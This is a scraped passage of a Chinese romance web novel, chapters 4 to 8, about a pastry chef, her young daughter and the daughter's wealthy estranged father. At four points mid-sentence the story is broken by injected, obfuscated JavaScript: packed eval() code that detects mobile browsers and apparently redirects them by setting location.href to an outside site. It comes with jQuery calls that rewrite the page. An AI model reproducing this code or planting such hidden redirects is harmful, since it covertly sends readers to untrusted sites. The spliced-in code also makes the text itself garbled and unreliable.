d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716416|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴趣,我这边也邀请您去我们后厨参观看看。当然,如果今天能品尝到你的作品,是我莫大的荣幸。” 沈浩是个很有眼色的人,对于这个他们一直竭力邀请的甜品大师,他做了充分的了解,以至于梁音一出现他就认出来了。 梁音一直在考虑中,没想到今天会出现在他们餐厅。沈浩希望能用自己的诚意打动梁音,所以诚挚的过来邀请她参观。 他相信有梁音的加入,对他们餐厅的助力将是不可估量的。就算她现在在风评上有一些问题,但他依然认为邀请她利大于弊。 梁音也有此意,她站起来,拜托明颜帮她看一下女儿。 明颜正在修图准备发朋友圈,满口保证:“去吧,意意我看着呢。” 梁音走后,小豆丁乖乖的吃着自己的儿童套餐,大眼睛看着桌上的甜品忽闪忽闪,口水都快流下来了还假装不在意地说:“明颜阿姨,甜品你还吃不吃呀。我可以帮忙哦。” 明颜“噗嗤”了一声:“宝贝,你想吃就直说。” 意意刚想点头,就听明颜残酷拒绝:“但是你妈妈说了,今天不让你吃了,所以,这些就让明颜阿姨来解决吧。” 意意小脸一鼓一鼓的,气坏了。没有甜品吃,就只能退而求其次的吃她的儿童套餐,哼哧哼哧把自己的儿童套餐全部吃完了,吃得小肚子都鼓了起来。 这两天明颜就发现意意在吃饭上很省心,不挑食,每天都乖乖吃饭,不像很多小孩,吃个饭还要大人千哄万哄。 意意叉西蓝花时有点吃力,但她也会很努力的自己吃。 明颜想喂她,意意摇了摇脑袋,要自己吃。 “意意好乖啊,都不需要喂了。”明颜夸她。 意意努力把西蓝花放进嘴里说:“妈妈工作辛苦,我可以自己吃。” 明颜顿了一下,没想到会得到这个答案。 天呐,好乖的小天使宝宝,真不愧是梁音生的。 她感觉自己竟然被一个孩子感动到了。 吃完了饭,明颜陪着她一起玩消消乐一边等梁音。 去了那么长得时间,也不知道音音那边怎么样了。 “明颜阿姨,我要尿尿。” 明颜回过神,赶紧把她抱起来带去了厕所门口,“你一个人进去可以吗?” “可以的,意意会自己尿尿。” 小豆丁说完就自己跑进了厕所,明颜看她挺独立的,就在厕所外面一边守着一边专心修图。 …… 意意尿完尿出来站在儿童洗手池前洗手手,她洗手要洗很干净,正在搓泡泡,旁边来了个很高的女人,一边洗手一边打电话:“是啊,我现在就在和霍景闻相亲……要不是老爸要求,我才不会出来呢……” 意意耳朵里听到一个熟悉的名字。 她偷偷在本子上写下过的。 旁边的女人还在继续说:“仗着家里有钱,所有人都不放在眼里,狂得要死。我就不信了,我吴莉莉拿不下他……” “我原来看不上这种人,但是他帅啊,那张脸比男明星都要顶,不羁的野马驯起来才有意思……而且我爸给我下了死命令,让我无论如何都要拿下霍景闻,我们家的生意还要靠霍家提携,我只能忍耐了……” 女人洗完了手就乱甩,水珠甩到了意意脸上。 看她是个小孩,嗤了声连对不起都没说声就走了。 意意擦掉脸上的水,关了水龙头,连忙跟着跑了出去,而明颜专注修图,完全没发现意意出来。 意意跟着穿着红裙子的女人来到餐厅的一处窗边,看着女人走到前面的餐桌,然后在一个高大的年轻男人对面缓缓坐下。 她站在斜后方,看到他转过来的脸,眼睛顿时睁大了。 她在机场看到过他。 原来他真的是她的爸爸! 5. 第 5 章 餐厅里弹着悠扬的钢琴曲。 吴莉莉在位置上坐下,对着对面的男人报以温婉一笑:“抱歉啊霍先生,让你久等了。” 吴莉莉长得漂亮明丽,妆容得体,表现得知礼又大方,完完全全的名媛淑女。那倩丽的笑脸,任何男人见到就算不温柔以对,至少也会绅士一些。 而她对面的男人依然视若无睹,反而转头漠视地看着窗外,骨节分明的修长手指撑着下巴,从侧面看,优越的鼻梁挺拔如峰,浓密垂下的眼睫掩住了眼底的情绪。 与他浑身的散漫一样,连声音都是懒洋洋的,说出口的话是实在令人不敢恭维的欠揍和直白:“吴小姐很满意我?” 吴莉莉脸上的笑容僵硬了一瞬,很快自如:“我看得出来,霍先生不是传闻的那样……额……我想,我愿意和你进一步聊聊,说不定会有共同话题呢。我相信,只要付出真心,就能融化我们之间的生疏不是么。” “真心?”霍景闻终于转过头来,不紧不慢地抬眼,露出一双意味盎然的眼眸,他的瞳孔是偏淡的棕色,眼尾上扬,凌厉的丹凤眼看着人时,总有一种居高临下的审视,“吴小姐才见过我几次,就和我谈真心?” 吴莉莉简直要不能忍受了。 都说这霍景闻自大狂傲,还真是所言非虚,简直一点绅士风度都没有,说的每一句话都让人讨厌,怪不得霍家老爷子都差点被他气死。 听说霍家为了给长孙积福,从小就把霍景闻送进大佛寺清修,八岁才接回霍家。结果这霍景闻没修得一副菩萨心肠,反而修成了恶魔再世,真是造孽。 她要是生出这种儿子,早跳楼了! 要不是看在他那张皮相实在顶,背后的霍家太过显赫,真想当场走人。 咽下那口气,吴莉莉勉强挤出笑容,保持平静:“为什么不可以呢,你了解下去就知道了。” 霍景闻点了点头:“好,很好。” “我对你有点兴趣了吴小姐。” 吴莉莉心中一喜,心想,还真没有她搞不定的男人,霍景闻也一样。 下一秒只见他好整以暇的翘起二郎腿,漫不经心地说:“你是第一百零三个和我谈真心的女人,但我不否认,你比别的女人都更优秀,更会忍耐,想必可以做一个贤惠的好妻子。所以我会对你更宽容,你只要答应我三个要求。” “第一,不能管我。第二,不能太擅妒,要和我的红颜知己白月光和谐共处。第三,我的脾气不太好,如果骂你,请忍耐。如果你能答应这三个要求,和我的女朋友们友好相处,那么吴小姐,欢迎你,成为我的妻子。” 意意躲在后面听到这里,大大的眼睛里的闪起了泪花。 她听不懂那个大姐姐和爸爸说的话是什么意思,但是最后一句话她听懂了。 爸爸,要娶别的女人了。 爸爸会有别的宝宝,所以才一直不来看她,不要意意。 不可以! 来往的客人看到一个小小的穿着绿色裙子的小姑娘站在一旁,委屈巴巴的扁起嘴,眼泪大颗大颗的落下,可怜极了。 服务生见到这个小孩一个人,赶紧走过去询问,就见那小女孩闷头跑了。 意意一边跑一边掉眼泪,闷头没看路,撞上一条坚硬的大腿,小鼻子都撞红了,刚才还只是掉小珍珠,这下好了,直接伤心得哭了出来。 这可把被撞的尹文昭吓了一跳。 连忙蹲下去检查,看看小姑娘撞到哪儿了。抬起小团子的脸,顿时惊了一下。 好漂亮的小孩儿!黑黑的头发白白的皮肤,精致的五官就跟个东方洋娃娃似的。 不过是个水做的洋娃娃。 尹文昭摸了一手湿漉,她还在哭。可是他左看右看,这小姑娘除了鼻子有点红,也没伤到哪里啊……有必要哭得这么厉害么…… 检查了好一会儿,尹文昭看着小孩嫩生生的脸,忽然觉得有点熟悉,特别是她这双眼睛,越看越觉得在哪里见过似的。 还没想出个所以然,小孩的妈妈气喘吁吁的赶到了。 梁音从尹文昭手里接过意意,把女儿抱起来,询问她哪里受伤了。 意意指了指鼻子:“这里,撞到叔叔了。” 尹文昭看着面前穿着杏色衬衫的女人,一双杏眼盈盈明润,鼻子挺秀,红唇饱满,浑身上下都透露着明柔的气息,看起来还不到三十岁,竟然孩子都这么大了。 他连声道歉:“也怪我,急着找人,没看见你家孩子。” 梁音检查了一下意意没伤到哪里,也奇怪女儿哭得那么伤心。对尹文昭说:“不好意思,给您添麻烦了。” 尹文昭摆手:“小朋友没事就好。” 女人抱着哭泣的小姑娘走了。尹文昭看着她们的背影,还听到女人轻声教育女儿:“意意,妈妈不是告诉过你,在外面不可以乱跑吗?” 小女孩哭得一抽一抽的:“妈妈我下次不会了。” 尹文昭收回目光,转身继续去找人。 当他找到霍景闻时,正看到极为精彩的一幕: 吴莉莉被霍景闻气得脸都青了,终于忍不了,一下就站了起来,拿起桌上的冻柠水朝他脸上用力一泼:“和你的白月光和谐相处?大清早亡了,还以为你霍公子是皇帝呢,什么东西!你这种人,就应该孤独终老,少出来祸害人了!” 说完拿起包就气冲冲的离开。 “啪,啪,啪。”尹文昭一边憋笑一边鼓掌,“真不愧是吴家的女儿,就是泼辣,连你霍大少也敢泼。” “话说你爸为了你结婚也是无所不用其极,连吴家都搬出来了。我没记错的话,这吴家好像是你奶奶那边的远亲吧。” 霍景闻擦干脸上的水,还是那副玩世不恭的样子:“远亲?还不是霍家的走狗。” 尹文昭:“话是那么说没错。不过那个吴小姐长得够漂亮了,身材又好,你还不喜欢?你霍大少到底喜欢什么样的,要天仙啊?” “那倒不用。”霍景闻偏头看着窗上的倒影,语气很随意,“只要她的眼睛大一点,像圆圆的杏仁,水汪汪的,鼻子不要太尖,嘴唇饱满润泽,红一点……” “你喜欢这样的?” “不。”霍景闻转过头来,微微一笑,“我最讨厌这样的。” “……” 尹文昭都有些习惯这位霍大少时不时发病了。 阳光透过干净的玻璃窗,明亮的光落在霍景闻脸上,就跟在他脸上上了一层光环似的。发丝上还在不断滚落水珠,沿着他的额角流下一条浅浅的水渍,不仅看起来不狼狈,反而有一种难以言喻的性感。 要不是这大少爷有个极具雄厚的家庭背景,和一张看了就能免除他十恶不赦的脸,以他恶毒又刻薄的嘴,和时不时的发疯,哪天被人打死都不奇怪。 尹文昭盯着霍景闻棕色的眼眸看了看,电光火石间,终于想起来刚才碰到的小女孩哪里眼熟了。 她的眼睛,就跟面前的霍景闻一个模子印出来的。 “我刚刚碰到一个小女孩,长得超像你……不知道的还以为是你的私生女呢!” 尹文昭的话无稽到霍景闻回都懒得回。 他哪来的什么私生女。 尹文昭也觉得自己想多了,转而说:“还坐着干什么,走啊,哥们又淘了瓶好酒,去我那里尝尝去。” “等会儿。”霍景闻还是老神在在的坐着一动不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716417|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我点的甜品还没上。” 尹文昭:“……” 这传闻中最是目中无人,桀骜不驯的霍大少竟然爱吃甜食,反差真够大的。 没过一会儿,霍景闻点的舒芙蕾就上了。 说他爱吃甜品吧,他去到一个餐厅都会点一道舒芙蕾,说他不爱吧,他万年不变只会点一份舒芙蕾。 服务生把甜品放下,礼貌为他介绍:“这是我们主厨的招牌甜品,翡绿山林舒芙蕾,吃起来会有云朵一般柔软的口感,尽快品尝风味更佳哦。” 桌上的瓷盘中间,散发着丰富奶香气息的舒芙蕾柔软到还在颤动,细腻的抹茶粉撒在瀑布奶油上,再加精心挑选的水果和独特的星星脆饼点缀,增添了不同层次,切开的一角是倾泻而下的若层峦叠嶂的山林一般的翡绿流心,旁边还有人工挤成溪流状的特制果浆,将西式甜品融合了中式美景,宛若一幅高山流水的香甜艺术品。从中可以窥见甜品师对极繁风格的偏爱,精致且独特。 连尹文昭也是第一次看见这么精妙的甜品。 精妙到吃掉一角都会心生可惜的程度。 霍景闻却直接拿起叉子切了一块放进嘴里,软,绵,顺,柔,恰到好处的香,克制隐忍的甜。比他这几年吃过的舒芙蕾都要合他的口味,就像是按照他的口味量身定做的一般。 没有人做的舒芙蕾会如此合他的意,除了…… 霍景闻放下叉子,眼里的散漫瞬间消失,似被精心雕琢过的峻冷下颚绷紧,沉声道:“把你们主厨给我叫过来。” 服务生不知道出了什么问题,慌忙说:“先生,是我们的甜品有什么问题吗?哪里不满意您可以告诉我,我一定——” 霍景闻抬头,冷冷看了她一眼,语气是相反的柔和:“没有不满意,我很满意。所以,把你们主厨叫过来。我现在,马上,立刻就要当面表彰她。” 也许是眼前的男人气势太盛,上位者的压迫感太强,所以对于他这种莫名的要求,服务生竟然不自觉的听从他的指示,转身去找了经理。 别说是服务生,就连尹文昭都觉得莫名其妙,“好端端的,你又要看人家厨师干什么,想挖角啊?” 霍景闻却没有回答。 他沉默的看着面前的舒芙蕾,连薄唇都抿成了一条直线。 不知道为什么,尹文昭感觉这一向张狂的大少爷好像有点紧张似的。 经理沈浩见多识广,隔着远处一望,只看到霍景闻的身影就认出了来人。 那可是霍家的大少爷,别说要见个甜品主厨,要见整个厨师团队都没有问题。 可坏就坏在,做这份甜品的梁音已经走了,他去哪里把人找过来? 沈浩邀请梁音参观后厨,同时借着这个机会请她现场做了几道甜品,随机上给顾客,同时记录顾客的反馈。 梁音也在考虑要不要加入他们餐厅,这是一个双向的选择。 刚刚做完甜品的梁音已经带着哭闹的女儿走了,他也不好把人再叫回来了啊! 但是甜品师走了这个回答恐怕会惹恼贵人,想了想,沈浩交代服务生,去把他们自己的甜品师叫出来。 …… 随着一曲优雅的钢琴曲结束,菲尔纳丽的甜品主厨已经来到了霍景闻的面前,恭敬地自我介绍:“先生您好,我是菲尔纳丽的甜品主厨文轩,听说您对我做的甜品很喜欢,我深感荣幸,也非常感谢您对菲尔纳丽的支持。” 是一个人高马大的男人。 霍景闻心里那点微妙的期待顿时一消而散,厌烦地闭了闭眼,站起来转身就走。 他真是有病。 一个无情的女人,他早就应该忘了。 6. 第 6 章 沉黑奢华的阿斯顿马丁矫健地在马路上疾驰。 在去品酒的路上霍景闻收到了霍秉仁的电话。 电话里霍父的声音又沉又怒:“吴家的女儿优秀知理,哪里不好,你还有什么不满意的让你这么羞辱她?” 霍景闻长腿交叠,悠闲地往后靠,“她是个好女孩,哪里都好。她受这个罪,这不全都怪您么,要兴师问罪你该先检讨自己啊,为什么要联络吴家,让这么好一女孩来和我相亲呢?” 霍秉仁被他的乖张气得胸口生疼:“混账东西,你就是这么对你的父亲说话?” 都知道霍景闻和他父亲关系不好,出言顶撞也是家常便饭,简直叛逆的没边了。 他还嫌霍父不够生气,语气更加恶劣:“这么生气啊,又对我这个儿子失望了?没关系,我不介意你再生一个。” “哦对了。”他拉长尾音,慢悠悠地笑了一声,嗓音在急速倒退的景色里犹如鬼魅,“你不是不想生,是生不出来了。没有我你可就绝后了呢。” 这混不吝的态度,连亲生父亲都不放在眼里,更何况其他人。旁边的尹文昭听得心脏一颤一颤的。 都说这霍大少是投生的恶鬼,吸血蚀骨的吸血鬼,今天他算是见识到了。 无怪乎那么多人对他避之不及。 到了尹文昭的会所,他立刻把好不容易到手的酒拿出来放在霍景闻面前:“怎么样,这酒可是绝版了,我费了好大的力气才从一个收藏家手里买过来。” 霍大少爱酒,这是很多人都知道的事。尹文昭这个马屁可是拍着了。 “开。” 霍景闻看了一眼,慢条斯理的在黑色的真皮沙发上坐下。 “好嘞,今天我们不醉不归了。” 尹文昭让人过来开酒,准备一边喝酒一边谈正事。 他和妹妹一起开了一家游戏俱乐部,组建了一个战队,费了好大的劲才挖到了人。结果家里不同意,认为搞游戏战队是玩物丧志,断了他和妹妹的资金,他今天其实是想找霍景闻投个资。 霍景闻也玩荣耀,段位比他还高。大少爷又不缺钱,应该会感兴趣。 酒色酒色,应酬场上有酒就要有色。但是稍微熟悉霍景闻的人都知道,这位大少爷只好酒,不好色。玩车玩酒玩股票玩人心就是不玩女人,出了名的性冷淡。有人戏说他这是在大佛寺待久了的后遗症——看破红尘了。 尹文昭自认算是霍景闻半个哥们了,自然了解这大少的喜恶,只是不知道为什么,霍景闻今天的情绪尤为冷淡,连喝酒也没什么品的兴致,喝起来就和灌水似的。 而且他从菲尔纳丽出来时,整个人身上就散发着一股浓烈的厌弃感。 而现在,霍景闻坐在沙发里,一杯接一杯的灌酒,立体到桀骜的脸部线条藏在晦明晦暗的光影里,透着一股冰冷寒意,以及难以察觉的躁意。 尹文昭本来还想和他提一提投资的事,现在有点迟疑了。 这是个喜怒无常的主,最好是把他哄开心了再提比较好。 尹文昭忽然眼睛一亮,想到一个哄他开心的绝妙好主意:“你不是喜欢菲儿纳丽的甜品吗,要不我把那主厨给你挖过来,专门为你服务怎么样?” 他当时可看见了,霍景闻吃了一口甜品就要找人主厨,显然是满意极了的。虽然最后不知道为什么又不发一言的走了。 可他的提议说完,霍景闻端着酒杯的手忽地一顿,长睫沉敛,像是被踩中了忌讳,周身气息都变得阴郁危险。 无意的几句话,让霍景闻原本靠酒精快要压下去的情绪,又变得剧烈。想起了,自己荒谬又可笑的期待。 他站起身,冷冷丢下一句:“留给你自己吧。”就径直离开。 尹文昭坐在原地人都傻了,不知道哪里又惹到他大少爷。 “不是,这酒喝得好好的,你说走就走了?” 还真是阴晴不定的主。 — 寸土寸金的奢贵小区,千水公馆顶层。 洗了澡出来的霍景闻随手套了件浴袍走出来,松松垮垮的没有系好,大敞的胸口上,湿漉漉的水珠沿着精致冷白的锁骨滚落,将那颗嫣红的痣也泅湿得妖异。 喝了太多酒,酒意未消,头痛得要命。这让霍景闻的心情更加躁郁,胸口仿佛有一团无法排遣的烈火找不到出口。 想拍他马屁的不止是尹文昭,看着桌上菲尔纳丽派人送来的各式甜点,其中还有一份他点过的舒芙蕾,整整齐齐的摆在了桌上。 只是这些精致各异的甜品霍景闻怎么看怎么觉得刺眼,没有任何品尝的兴致。下一秒,这些碍眼的东西通通被他扫进了垃圾桶。 他喜欢的从来不是什么狗屁甜品。 忽如其来的雨点噼里啪啦一下又一下敲击在玻璃窗上。 他和梁音争吵的那一天,也下了一场很大的雨。 霍秉仁派人来到他和梁音租的房子楼下,直接暴露了他的身份。 迟早有一天她会知道的,霍景闻没有当一回事。 他和梁音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716418|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起的时间里,梁音的脾气很好,从来没有跟他生过气。他在她面前,一向是掌握主动权,作威作福的上位者,而梁音就像个可以随意搓圆揉扁,任他予取予求的受气包。 没想到受气包也会发脾气。 那天她指着门外的车和保镖问他是怎么回事,他回答得很无所谓:“是来接我的。” “你说你无父无母,一无所有的,为什么要骗我。”梁音的声音听起来还算平静,“如果不是今天霍家的人来接你,你会对我说实话吗?” “不会。” 一方面他不屑解释。 另外一方面那天他的情绪尤其差劲。 心想,这又不是什么很大的错误。梁音什么都由着他,这次也不会和他计较。 可是晚上的时候,梁音就冷静地向他提了分手。 他觉得真是莫名其妙。 他只是变有钱了,又不是杀人放火,有没有告诉她很重要吗?他根本不觉得这就罪无可恕了。 她背着他,和她所谓的高中同学一起吃饭他也没有生气不是么? 他觉得梁音在和他闹脾气。 可是梁音说要分手让他太烦躁了,恼怒间他就说了句气话。 一句他没有当真,也以为梁音不会当真的气话。 “可以,分手。你梁音今天敢走出这个门,以后我们就再无瓜葛。” 梁音不是受气包,她只是懒得和他计较。 这次她计较了。 他回去霍家的一个晚上,打算第二天再回去和她好好解释。结果回来后看到一间空荡荡的屋子。梁音收拾好她所有东西离开了他们租的房子。 房间里没有留下一件她的物品,除了,一份刚做好的舒芙蕾。 梁音就是故意的。 她用他们往日一起温馨做过的甜品为利刃,狠狠戳进他的心脏,来提醒他的欺瞒和不可饶恕。 平常最温顺的人,狠心的时候更加决绝。 一开始,梁音走后,霍景闻告诉自己无所谓。不过就是一个被他欺骗的,做的甜品比较合他心意的女人,有什么大不了的。 可是后来他们那些丝丝缕缕的甜蜜和温暖的记忆没有随着时间飘散,反而于日复一日的漆黑深夜钻进他的脑海里,骨缝中,深入刻骨。 让他想忘,却怎么也忘不了。 霍景闻头痛到没办法再回忆下去了,手臂撑在桌前,手指蜷起,用力到手背青筋几乎爆起。 好啊,梁音,你最好是能跑一辈子。 7. 第 7 章 八月末天气炎热得要命,可是店里惨淡的生意让明颜的心凉得要命。 梁音最终决定接受菲尔纳丽的邀请,今天要去菲尔纳丽谈待遇,把意意托付给她照看。 意意很安静地坐在一边玩积木,压根不用她多操心。 “明颜阿姨你看。”意意拿了一个红色的爱心放在她面前,是她刚刚用积木搭好的。 明颜很惊喜:“哇,宝贝怎么这么厉害,竟然会拼爱心。” 意意被夸得有点羞赧:“送给你。” “谢谢宝贝。” 明颜郑重的接过来,放在手上欣赏。 梁音还特意交代让她对意意心狠一点,不要事事都答应。可是这么可爱的宝贝,谁能心狠得起来啊。 忽然腿被一双小手紧紧抱住,低头一看,就见到小孩儿葡萄一样湿漉漉的大眼睛。 “怎么了,意意想吃糖?” 小孩摇了摇头,眨巴眨巴大眼睛,可怜兮兮地说:“意意想见爸爸,明颜阿姨可不可以带我去见爸爸。” 明颜顿了一下。 去见霍景闻? 她虽然不知道梁音是怎么和孩子说的,但也知道她对霍景闻避讳的态度。 “阿姨也不知道你爸爸在哪里……” 她只能对小孩说谎。 “我知道,爸爸叫霍井文,在霍氏的公司里上班。”意意脆生生的说。 明颜吓了一跳,“谁告诉你的?” 意意低下小脑袋:“我听到的。” 明颜一时间不知道该怎么办,但这事她实在做不了主,打算给梁音打电话。 “别人都有爸爸,意意从来没见过爸爸。我去看看爸爸就回来,不让妈妈知道。”小孩又紧紧抱住她的大腿,漂亮的大眼睛里啪嗒啪嗒的掉眼泪,“这是我和明颜阿姨的秘密好不好?” 爸爸要和别的阿姨结婚了,不可以的,她要去阻止爸爸! 明颜准备打电话的手一顿。 _ 霍氏集团。 窗明几净的阔大会议室里正在开股东大会,气氛十分沉重。 对于霍景闻轻率的买下城西那块地皮用来开发集团酒店的决定,大部分股东都表示不满。 “政府已经放弃了城西的建设,周边没有配套的商业开发,霍氏扔进去几百亿建酒店就是打水漂!” “别以为你是霍家的大少爷就可以胡作非为,无视我们股东的权益!你才接手霍氏一年,就想把霍氏搞垮吗?真不知道董事长是怎么想的,竟然会让你来管理霍氏!” “这件事,不仅是你,连董事长也要出来给我们一个交代!” 会议室里几乎群情激奋地讨伐着霍景闻。 尤其是右手位的汪林祥,作为霍氏的大股东之一,他是带头,也是反对最激烈的那一个。 霍景闻慵懒地靠着椅背,冷着眼由着他们讨伐不发一言。 他查过汪林祥的底细,这人和他的二叔私下里有过几次来往,看起来,像是他二叔的人。 但在座的这些人,哪个不是心怀鬼胎,背后不知道站着霍家的谁呢。 在他通过城西酒店项目的时候这些人谁都没有出声,等他签完项目同意书,这一个个的都涌了出来,以为抓住了他的把柄,就等着这个机会,要置他于死地。 会议室里反对声浪越来越大。 霍景闻被这些老东西吵得头疼,伸手示意,紧接着一份文件放在他手上,霍景闻将这份文件重重摔在会议桌上。 桌面被砸的“砰”地一声像是炸开了一般,激动的股东们纷纷被吓了一跳。 此时终于迎来片刻的宁静。 “各位叔伯。”这时霍景闻却勾了勾嘴角,面容和悦,人畜无害。好像刚才摔东西的人不是他一样,变脸一绝。 在场有些老油条竟然都陡然生出一种面前的人根本看不透的感觉。 霍景闻不紧不慢地开腔:“你们反对的原因,是因为政府放弃了城西郊区的扩建,认为霍氏的投资打了水漂,损害了各位的利益,对吧?” 有个股东立即说:“当然。” 霍景闻点点头,重新坐下,悠闲地往椅背靠了靠,徐徐丢下一个重磅炸弹,语气却好像是在说今天的天气一般随意:“那如果,政府没有放弃城西的扩建呢?” “不可能!”汪林祥率先不屑地嗤笑了一声。 他早就得到了确切的内部消息,绝不会有错。政府扩建城西的消息本来就是他们给霍景闻布下的陷阱,等他决策出现重大失误,害霍氏损失几百亿,这霍景闻也该废了。 就在汪林祥沾沾自喜间,霍景闻又随意打了个响指。 “是么?” 助理杨乾这时递上一份文件,摊开放在各位股东面前。“诸位请看,这是政府刚下的扩建指导文件。” “不可能的!” “这怎么可能!一定不可能的!” 有几个股东连身份都顾不得了,争着抢着去拿那两张纸。 在看到政府不仅要扩建城西,甚至要在城西建造最大的商业圈时,他们眼睛都瞪直了。 如果是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716419|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样,城西开发扩建,霍氏抢占了大面积的地皮,用不了几年,获得的利益将不可估量。 霍景闻撑着下巴看着那群老东西又惊又喜的表情,忍不住啧了声:“你们的表情可真是滑稽,大家原来都是老戏骨啊。” “我想现在各位应该都没有异议了吧,那今天的会就开到这里了。” 他散漫站起身,走过汪林祥身边,忽然又停下脚步,尤为诚恳地建议,“汪叔是老眼昏花了,这么大的消息也能弄错?尽早去医院看一看,嗯?” 汪林祥再怎么说也是长辈,什么时候被这么羞辱过,在会议桌重重拍了一下,豁然站起来:“目无尊长的小子,得意什么,能不能开发得起来还是另一回事,我看你能狂多久。” 霍景闻头也没回,张狂得没边了:“行啊,那你就慢慢看,看我前程锦绣,直入青云。” 汪林祥被他气的,老脸青得简直没法看! 走出会议室,霍景闻还嫌不够,忽然又想到个好主意,对身后的助理说:“去,把拍到的东西寄给汪林祥的老婆。老不死的东西敢给我使绊子,就别怪我,送他一份大礼了。” 这汪林祥的老婆也是个无用的,连自己丈夫有个十岁的私生子都一无所知。他大发慈悲,帮她一把。 杨乾连忙道:“是。” 汪林祥是靠岳家上位的,很惧畏原配,但原配生了一个女儿后就生不了了,念子心切的汪林祥就偷偷在外面找了个情人,生了个儿子,现在都十岁了,一直瞒得好好的。 若把这事捅到汪林祥老婆那里,别说他老婆会大闹,恐怕他的资产也要被分走一大半! 霍景闻轻哂了声:“希望这汪林祥家里鸡飞狗跳之时,还能有时间来管我的闲事。” 说是这么说,可他脸上的恶趣味藏都藏不住了。 杨乾低下头心想,这小霍总有个怪癖,就喜欢看别人家劳燕分飞,鲽离鹣背。没跑过老婆都不能有这爱好。 — 应付完那群老东西,霍景闻已经烦透了,直接离开了公司。 刚走出大楼,手机上收到一份报告,打开看了眼,又是一堆无用的信息。 霍景闻的心情更加差劲,正烦躁间,忽然不知道从哪里冒出来一个小孩,像黏皮糖一样紧紧抱住他的西装裤。 “爸爸!” 下方传来女童嫩生生又惊喜的声音。 大腿被紧紧抱住。 霍景闻顿了一秒。 紧接着薄唇抿起,不耐烦地慢慢垂下眼,想看看究竟是哪个不长眼的小东西。 8. 第 8 章 他慢慢低下头,视线里出现一个穿着弱智公主裙的小鬼正水汪汪的望着他。小鬼细软的头发在脑后扎成一个小丸子,身上还背着一个红色的苹果小包。皮肤白白的,眼睛大大的,鼻子嘴巴都小小的。棕色的瞳孔亮晶晶,忽闪忽闪像藏着星星,精致得像个洋娃娃一样。 还真是……很漂亮的小姑娘。 霍景闻漫不经心看了几秒。 若是平时,他或许有兴致陪这个小孩玩一玩找爸爸的游戏。可惜他现在很忙。 司机已经把车停在了路边。 霍景闻弯下腰随手把这小鬼拉开,淡声说:“你认错人了。” 说完抬腿直接离开。 只是没走两步,不知为何他又停下了脚步,往后看了一眼。 只见原本眼睛难过地耷拉下来的小鬼看到他回头,一瞬间就高兴了起来,从包里拿出一颗棒棒糖,哼哧哼哧地就要朝他跑过来。 麻烦。 他最讨厌小孩这种生物。 天真又没有心眼,给她一个眼神,她就能忘了刚刚被冷漠对待的失落。 霍景闻眉头皱了皱,怕那小鬼追上来,再没停留,转身直接朝停在路边的车走去。 上车以后,吩咐司机:“去霍宅。” 安叔:“好的,小霍总。” 劳斯莱斯缓缓启动,平稳地驶离。 霍景闻眉头动了动,似有所感看了眼后视镜里小女孩越来越小的身影。 精心打扮过的小孩还呆呆地站在原地,湿漉漉的眼睛视线直直地跟着开走的豪车,小手紧紧握着棒棒糖,不肯离开。 看起来很可怜的样子。 看了眼,霍景闻难得大发慈悲,出声道:“打个电话安排人送那个小鬼回家。” 安叔车速慢了下来,这时看了眼后视镜,这时已经只能看到小孩的身影,旁边一个女人出现,很快把女孩抱走了。 “好像她妈妈来接她,把她带走了。” “嗯。” 霍景闻没再多说什么。 闭上眼睛,脑海里映出刚刚小女孩的面容,很漂亮的小孩,只是五官长得竟然和某个女人有些神似,看上去总是无辜又乖顺的样子,其实最是狠心无情。 看一眼都让他莫名觉得烦躁。 霍景闻沉下眉头,不让自己再想下去。 把自己的情绪付诸在一个陌生的小女孩身上,实在不够理智。 — 菲尔纳丽的会议室里,梁音对面坐着三个人。 经理沈浩,菲尔纳丽的人事总监丽娜,以及总经理徐然。 看到梁音要求的薪资,丽娜精明的眼睛看过来,态度尖锐:“这个薪资已经超出了我们餐厅的薪资范围,甚至超过了市场上百分之九十九的甜品师工资,梁小姐不觉得自己开出这个条件有点太鲁莽了吗。” 